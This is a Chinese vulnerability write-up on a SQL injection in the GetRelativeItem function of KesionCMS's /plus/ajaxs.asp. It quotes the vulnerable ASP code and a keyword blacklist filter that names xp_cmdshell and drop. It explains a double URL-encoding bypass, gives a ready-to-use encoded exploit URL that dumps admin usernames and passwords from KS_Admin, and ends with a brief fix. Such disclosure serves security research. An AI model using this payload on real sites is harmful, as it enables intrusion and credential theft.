函数过滤混乱导致注入

复制代码代码如下:

Dim KS:Set KS=New PublicCls

Dim Action

Action=KS.S("Action")

Select Case Action

Case "Ctoe" CtoE

Case "GetTags" GetTags

Case "GetRelativeItem" GetRelativeItem //问题函数

...skip...

Case "getonlinelist" getonlinelist

End Select

Sub GetRelativeItem() //漏洞函数开始

Dim Key:Key=UnEscape(KS.S("Key"))//漏洞位置，只调用ks.s函数，无其它过滤。

Dim Rtitle:rtitle=lcase(KS.G("rtitle"))

Dim RKey:Rkey=lcase(KS.G("Rkey"))

Dim ChannelID:ChannelID=KS.ChkClng(KS.S("Channelid"))

Dim ID:ID=KS.ChkClng(KS.G("ID"))

Dim Param,RS,SQL,k,SqlStr

If Key<>"" Then

If (Rtitle="true" Or RKey="true") Then

If Rtitle="true" Then

param=Param & " title like '%" & key & "%'"//类似搜索型注入漏洞。

end if

If Rkey="true" Then

If Param="" Then

Param=Param & " keywords like '%" & key & "%'"

Else

Param=Param & " or keywords like '%" & key & "%'"

End If

End If

Else

Param=Param & " keywords like '%" & key & "%'"

End If

End If

If Param<>"" Then

Param=" where InfoID<>" & id & " and (" & param & ")"

else

Param=" where InfoID<>" & id

end if

If ChannelID<>0 Then Param=Param & " and ChannelID=" & ChannelID

Param=Param & " and verific=1"

SqlStr="Select top 30 ChannelID,InfoID,Title From KS_ItemInfo " & Param & " order by id desc" //查询

Set RS=Server.CreateObject("ADODB.RECORDSET")

RS.Open SqlStr,conn,1,1

If Not RS.Eof Then

SQL=RS.GetRows(-1)

End If

RS.Close

先进行了过滤，然后才调用UnEscape解码，

复制代码代码如下:

Public Function S(Str)

S = DelSql(Replace(Replace(Request(Str), "'", ""), """", ""))

Function DelSql(Str)

Dim SplitSqlStr,SplitSqlArr,I

SplitSqlStr="dbcc|alter|drop|*|and |exec|or |insert|select|delete|update|count |master|truncate|declare|char|mid|chr|set |where|xp_cmdshell"

SplitSqlArr = Split(SplitSqlStr,"|")

For I=LBound(SplitSqlArr) To Ubound(SplitSqlArr)

If Instr(LCase(Str),SplitSqlArr(I))>0 Then

Die "alert('系统警告！\n\n1、您提交的数据有恶意字符" & SplitSqlArr(I) &";\n2、您的数据已经被记录;\n3、您的IP："&GetIP&";\n4、操作日期："&Now&";\n Powered By Kesion.Com!');window.close();"

End if

Next

DelSql = Str

End Function

如果配合Unescape()函数，刚过滤不会生效。可以采用unicode编码方式，则不会在浏览器中出现被过滤的字符。例如，单引号可以编码为。%2527，经过解码后还是“'”号，这样的话，就可以利用类似php的二次编码漏洞的方式绕过过滤了。

注入语句：%') union select 1,2,username+'|'+ password from KS_Admin

转换如下：

/plus/ajaxs.asp?action=GetRelativeItem&key=search%2525%2527%2529%2520%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574%2520%2531%252c%2532%252c%2575%2573%2565%2572%256e%2561%256d%2565%252b%2527%257c%2527%252b%2570%2561%2573%2573%2577%256f%2572%2564%2520%2566%2572%256f%256d%2520%254b%2553%255f%2541%2564%256d%2569%256e%2500

修复方案：

UnEscape()函数调用位置放在函数体内，或者不调用。